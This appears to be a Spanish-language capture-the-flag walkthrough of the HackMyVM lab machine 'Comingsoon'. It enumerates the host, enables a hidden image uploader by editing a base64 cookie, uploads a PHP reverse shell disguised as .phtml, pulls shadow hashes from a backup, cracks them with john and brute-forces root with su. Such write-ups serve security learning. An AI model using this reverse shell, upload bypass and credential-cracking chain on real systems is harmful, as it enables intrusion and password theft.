Comingsoon HackMyVM (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 02:57 EDT
Nmap scan report for 192.168.5.18
Host is up (0.00053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 bc:fb:ec:b8:93:d4:e2:78:76:eb:1b:dc:4b:a7:7f:9b (RSA)
| 256 31:41:a0:d7:e9:3c:79:11:c2:f0:81:a0:fe:2d:f9:b0 (ECDSA)
|_ 256 c9:34:17:00:31:75:4d:c0:3a:a5:b1:16:36:0d:bb:18 (ED25519)
80/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-title: Bolt - Coming Soon Template
|_http-server-header: Apache/2.4.51 (Debian)
MAC Address: 08:00:27:71:32:88 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.25 seconds
Veremos un puerto 80
en el que tiene alojado una pagina web, si entramos a dicha pagina web veremos que hay un contador de que la pagina se estrenara en 15
dias, por lo que vamos a realizar un poco de fuzzing
a ver que encontramos.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.18/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 3988]
/.php (Status: 403) [Size: 277]
/assets (Status: 200) [Size: 1495]
/license.txt (Status: 200) [Size: 528]
/notes.txt (Status: 200) [Size: 279]
/.html (Status: 403) [Size: 277]
/.php (Status: 403) [Size: 277]
/server-status (Status: 403) [Size: 277]
Progress: 513033 / 882244 (58.15%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 513064 / 882244 (58.15%)
===============================================================
Finished
===============================================================
Vemos varias cosas interesante, vamos a ver que contiene notes.txt
y license.txt
.
notes.txt
Dave,
Last few jobs to do...
Set ssh to use keys only (passphrase same as the password)
Just need to sort the images out:
resize and scp them or using the built-in image uploader.
Test the backups and delete anything not needed.
Apply an https certificate.
Cheers,
Webdev
license.txt
Thanks for using the free version of Bolt. Please, consider purchasing the full version of Bolt to Enjoy All Features and Freedom to Use in Commercial Projects.
LIMITATIONS OF FREE VERSION:
1. Commercial Use - Not Allowed
2. Removing Footer Credit - Not Allowed
3. All Features - Not Available
4. Documentation and Support - Not Provided
5. Royalty Free Images - Not Provided
To purchase commercial license please visit: https://uideck.com/products/bolt-free-coming-soon-template/ and choose commercial license.
Best regards
No veremos gran informacion, pero si entendemos que por detras la pagina tiene que tener un mecanismo de subir imagenes, ya que en notes.txt
comentan que hay algo para subir imagenes, por lo que vamos a seguir investigando.
Vamos abrir BurpSuite
y vamos a ver que esta sucediendo a nivel de peticion todo lo de la pagina principal.
Una vez que estemos a la escucha con BurpSuite
y recarguemos la pagina principal, habremos capturado una peticion asi:
GET / HTTP/1.1
Host: 192.168.5.18
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: RW5hYmxlVXBsb2FkZXIK=ZmFsc2UK
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Veremos una cosa interesante y es que tenemos establecida una Cookie
que esta codificada, vamos a probar a decodificarla.
Si la decodificamos veremos false
simplemente eso, vamos a inspeccionar la pagina y mirar que vemos en un comentario.
<!-- Upload images link if EnableUploader set -->
Vemos que si activamos algo se nos habilita algo para subir imagenes, si inspeccionamos
la pagina y nos vamos a la seccion Storage
de ahi a Cookies
veremos lo siguiente:
Name Value
RW5hYmxlVXBsb2FkZXIK ZmFsc2UK
Vamos a decodificar todo esto:
Name Value
EnableUploader false
Vemos que se esta refiriendo a la Cookie
por lo que vamos a modificarla de esta forma, vamos a codificar en Base64
la palabra true
y veremos esto:
dHJ1ZQ==
Ahora en la seccion de Cookie
vamos a modificar el Value
y vamos a pegar ese fragmento modificado:

Con esto estableceremos en true
dicha Cookie
, ahora si le damos a ENTER
y vemos la pagina veremos el siguiente boton.

Si le damos nos llevara a una seccion para poder subir un archivo, vamos a probar a subir un archivo .php
con una reverse shell
.
Escalate user www-data
webshell.php
<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
Si intentamos subir dicho archivo veremos esto:
For security, .php files are allowed.Sorry, your file was not uploaded.
Vemos que lo esta securizando, por lo que vamos a probar extensiones de PHP
pero para bypassearlo
.

Vamos a probar con .phtml
.
mv webshell.php webshell.phtml
Ahora vamos a probar a subirlo de nuevo a ver si nos deja.
Veremos que con esto si que nos dejara y nos llevara de forma automatica a /assets/img/
donde estara el archivo subido.
Antes de entrar en dicho archivo, vamos a ponernos a la escucha.
nc -lvnp <PORT>
Ahora si entramos en el archivo que esta subida a la web
y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.18] 52218
whoami
www-data
Vemos que ha funcionado, por lo que sanitizaremos la shell
.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user scpuser
Si listamos la siguiente ruta veremos lo siguiente:
ls -la /var/backups/
Info:
total 2024
drwxr-xr-x 2 root root 4096 May 16 08:15 .
drwxr-xr-x 12 root root 4096 Dec 15 2021 ..
-rw-r--r-- 1 root root 30720 Dec 15 2021 alternatives.tar.0
-rw-r--r-- 1 root root 9128 Dec 15 2021 apt.extended_states.0
-rw-r--r-- 1 root root 990 Dec 15 2021 apt.extended_states.1.gz
-rw-r--r-- 1 root root 1541366 May 16 08:15 backup.tar.gz
-rw-r--r-- 1 root root 0 Dec 16 2021 dpkg.arch.0
-rw-r--r-- 1 root root 32 Dec 15 2021 dpkg.arch.1.gz
-rw-r--r-- 1 root root 186 Dec 15 2021 dpkg.diversions.0
-rw-r--r-- 1 root root 126 Dec 15 2021 dpkg.diversions.1.gz
-rw-r--r-- 1 root root 172 Dec 15 2021 dpkg.statoverride.0
-rw-r--r-- 1 root root 120 Dec 15 2021 dpkg.statoverride.1.gz
-rw-r--r-- 1 root root 354260 Dec 15 2021 dpkg.status.0
-rw-r--r-- 1 root root 90231 Dec 15 2021 dpkg.status.1.gz
Vemos cosas interesantes, pero entre ellas el siguiente archivo:
backup.tar.gz
Ese archivo no suele estar por defecto, por lo que vamos a copiarnoslo a la carpeta /tmp
y vamos a descomprimirlo a ver que tiene.
cd /var/backups/
cp backup.tar.gz /tmp/
cd /tmp
tar -xvzf backup.tar.gz
Info:
var/www/
var/www/html/
var/www/html/index.php
var/www/html/5df03f95b4ff4f4b5dabe53a5a1e15d7.php
var/www/html/assets/
var/www/html/assets/css/
var/www/html/assets/css/.DS_Store
var/www/html/assets/css/main.css
var/www/html/assets/css/slicknav.css
var/www/html/assets/css/responsive.css
var/www/html/assets/css/bootstrap.min.css
var/www/html/assets/css/animate.css
var/www/html/assets/css/menu_sideslide.css
var/www/html/assets/css/vegas.min.css
var/www/html/assets/.DS_Store
var/www/html/assets/fonts/
var/www/html/assets/fonts/LineIcons.woff
var/www/html/assets/fonts/.DS_Store
var/www/html/assets/fonts/LineIcons.eot
var/www/html/assets/fonts/LineIcons.svg
var/www/html/assets/fonts/line-icons.css
var/www/html/assets/fonts/LineIcons.ttf
var/www/html/assets/img/
var/www/html/assets/img/map-marker.png
var/www/html/assets/img/logo.psd
var/www/html/assets/img/logo.png
var/www/html/assets/img/hero-area.jpg
var/www/html/assets/img/slide1.jpg
var/www/html/assets/img/slide2.jpg
var/www/html/assets/img/slide3.jpg
var/www/html/assets/js/
var/www/html/assets/js/contact-form-script.min.js
var/www/html/assets/js/form-validator.min.js
var/www/html/assets/js/jquery.slicknav.js
var/www/html/assets/js/.DS_Store
var/www/html/assets/js/jquery.nav.js
var/www/html/assets/js/classie.js
var/www/html/assets/js/popper.min.js
var/www/html/assets/js/scrolling-nav.js
var/www/html/assets/js/wow.js
var/www/html/assets/js/menu.js
var/www/html/assets/js/jquery.easing.min.js
var/www/html/assets/js/main.js
var/www/html/assets/js/jquery-min.js
var/www/html/assets/js/map.js
var/www/html/assets/js/bootstrap.min.js
var/www/html/assets/js/jquery.countdown.min.js
var/www/html/assets/js/vegas.min.js
var/www/html/license.txt
var/www/html/notes.txt
etc/passwd
etc/shadow
Vemos que nos ha descomprimido la pagina
web en si y despues en la carpeta /etc
vemos cosas interesantes, dos archivos y uno de ellos es el shadow
por lo que vamos a pasarnoslo a la maquina host
mediante un servidor de python3
.
cd /tmp/etc
python3 -m http.server
Ahora desde la maquina host
nos lo descargaremos con wget
.
wget http://<IP_VICTIM>:8000/shadow
wget http://<IP_VICTIM>:8000/passwd
Una vez echo esto, vamos a intentar crackear
las contraseñas que haya en el shadow
con john
.
hash
scpuser:$y$j9T$rVt3bxjp6uYKKYJbYU2Zq0$Ysn02LrCwTUB7iQdRiROO7/WQi8JSGtwLZllR54iX0.:18976:0:99999:7:::
root:$y$j9T$/E0VUDL7uS9RsrvwmGcOH0$LEB/7ERUX9bkm646n3v3RJBxttSVWmTBvs2tUjKe9I6:18976:0:99999:7:::
john --format=crypt --wordlist=<WORDLIST> hash
Info:
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tigger (scpuser)
1g 0:00:00:22 0.04% (ETA: 17:55:44) 0.04494g/s 327.9p/s 332.2c/s 332.2C/s sheree..hotgurl
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
Veremos que ha funcionado, hemos encontrados las credenciales del usuario scpuser
, por lo que vamos a escalar con dicho usuario.
su scpuser
Metemos como contraseña tigger
y veremos que estaremos dentro, por lo que leeremos la flag
del usuario.
user.txt
HMV{user:comingsoon.hmv:58842fc1a7}
Escalate Privileges
Vemos que en la /home
del propio usuario hay un archivo bastante interesante llamado .oldpasswords
si lo leemos veremos lo siguiente:
Previous root passwords just incase they are needed for a backup\restore
Incredibles2
Paddington2
BigHero6
101Dalmations
Vemos lo que parecen contraseñas basadas en titulos de peliculas con los numeros pegados sin espacios, si probamos todas las contraseñas con el usuario root
veremos que no funcionara, por lo que vamos a buscar en internet la misma tematica de contraseñas buscando Las 100 mejores peliculas animadas
y veremos lo siguiente:
URL = 100 mejores peliculas animadas
Vamos a coger las 5
primeras y vamos a crear un diccionario de ello poniendo los 5
primeros numeros a cada uno de ellos sin espacios quedando algo asi:
dic.txt
Pinocho
Pinocho2
Pinocho3
Pinocho4
Pinocho5
ElviajedeChihiro
ElviajedeChihiro2
ElviajedeChihiro3
ElviajedeChihiro4
ElviajedeChihiro5
MivecinoTotoro
MivecinoTotoro2
MivecinoTotoro3
MivecinoTotoro4
MivecinoTotoro5
ToyStory
ToyStory2
ToyStory3
ToyStory4
ToyStory5
LosIncreibles
LosIncreibles2
LosIncreibles3
LosIncreibles4
LosIncreibles5
Ahora vamos a descargarnos un script para realizar fuerza bruta
hacia el usuario root
.
URL = Download Linux-Su-Force.sh
Una vez que lo hayamos copiado y pegado en la carpeta /tmp
de la maquina victima, lo ejecutaremos de la siguiente forma.
bash Linux-Su-Force.sh root dic.txt
Info:
Contraseña encontrada para el usuario root: ToyStory3
Vemos que hemos encontrado la contraseña, por lo que vamos a escalar a root
.
su root
Metemos como contraseña ToyStory3
y veremos que estamos dentro.
Info:
root@comingsoon:~# whoami
root
Por lo que vamos a leer la flag
de root
.
root.txt
HMV{root:comingsoon.hmv:2339dc81ca}
Last updated